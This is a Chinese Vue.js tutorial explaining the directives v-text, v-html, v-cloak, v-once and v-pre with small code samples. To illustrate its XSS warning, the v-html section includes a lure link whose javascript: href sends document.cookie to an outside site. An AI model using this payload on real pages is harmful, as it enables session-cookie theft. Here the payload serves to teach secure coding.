15_Vue内置指令

v-text指令

1.作用:向其所在的节点中渲染文本内容

2.与插值语法的区别:v-text会替换掉节点中的内容,插值语法{{xx}}则不会

 <!-- 准备好一个容器 -->
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-text="name">这里写的东西没有用,不会显示</div>
        <!-- str中的标签不会被解析,只当作正常的文本 -->
        <div v-text="str"></div> 
    </div>
    <script type="text/javascript"> 
        const vm = new Vue({
            el:'#root',
            data:{
                name:'朱雀',
                str:'<h2>左青龙,右白虎</h2>'
            }          
        })
    </script>

v-html指令

1.作用:向指定节点中渲染包含html结构的内容

2.与插值语法的区别:

(1)v-html会替换掉节点中所有的内容,{{xx}}则不会。

(2)v-html可以识别html结构,可解析标签。

3.注意: v-html有安全性问题!!!

(1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

(2)一定要在可信的内容上使用v-htm1,永不要用在用户提交的内容上!

!-- 准备好一个容器 -->
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-text="name">这里写的东西没有用,不会显示</div>
        <!-- v-html可以解析str中的标签-->
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
    <script type="text/javascript"> 
        const vm = new Vue({
            el:'#root',
            data:{
                name:'朱雀',
                str:'<h2>左青龙,右白虎</h2>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"
+document.cookie>兄弟我找到了你想要的资源,快点我!</a>'
            }
        })
    </script>

v-cloak指令(没有值)

1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

v-once指令(没有值)

1.v-once所在节点在初次动态渲染后,就视为静态内容了。

2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<div id="root">
        <h2 v-once>初始化的n值是:{{n}}</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
    <script type="text/javascript"> 
        const vm = new Vue({
            el:'#root',
            data:{
            n:1
            }          
        })
    </script>

v-pre指令(没有值)

1.跳过其所在节点的编译过程。

2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<!-- 准备好一个容器 -->
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
        <!-- 下面的插值语法和指令语法都不会解析 -->
        <h2 v-pre>当前的n值是:{{n}}</h2>
        <button v-pre @click="n++">点我n+1</button>
    </div>
    <script type="text/javascript"> 
        const vm = new Vue({
            el:'#root',
            data:{
            n:1
            }          
        })
    </script>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值